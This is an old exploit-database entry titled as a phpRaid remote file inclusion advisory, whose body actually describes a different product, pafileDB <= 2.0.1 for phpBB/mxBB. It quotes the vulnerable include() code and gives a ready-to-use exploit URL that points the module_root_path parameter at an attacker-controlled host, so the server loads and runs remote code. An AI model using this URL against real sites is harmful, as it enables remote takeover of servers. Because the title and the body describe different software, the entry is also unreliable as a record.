phpRaid <= 3.0.b3 (phpBB/SMF) Remote File Inclusion Vulnerabilities

2006-05-09T00:00:00
ID 1337DAY-ID-413
Type zdt
Reporter Kurdish Security
Modified 2006-05-09T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==================================================================
pafileDB <= 2.0.1 (mxBB/phpBB) Remote File Inclusion Vulnerability
==================================================================




# PafileDB Remote File Inclusion[phpBB]
#
# Contact : irc.gigachat.net #ir4dex & [email protected]
# Risk : High
# Class : Remote
# Script : pafileDB
# Version : not specified

---------------------------------------------------------------------

Vulnerable code :

$link_language = 'lang_english';
    include( $module_root_path . 'language/' . $link_language . '/lang_pafiledb.' . $phpEx );
---------------------------------------------------------------------

http://www.site.com/[phpBBpath]/[pafiledbpath]/includes/pafiledb_constants.php?module_root_path=http://[attacker]

by Darkfire and IR4DEX GROUP
Greetz: Smurf_RedHat :: V0lks



#  0day.today [2018-03-09]  #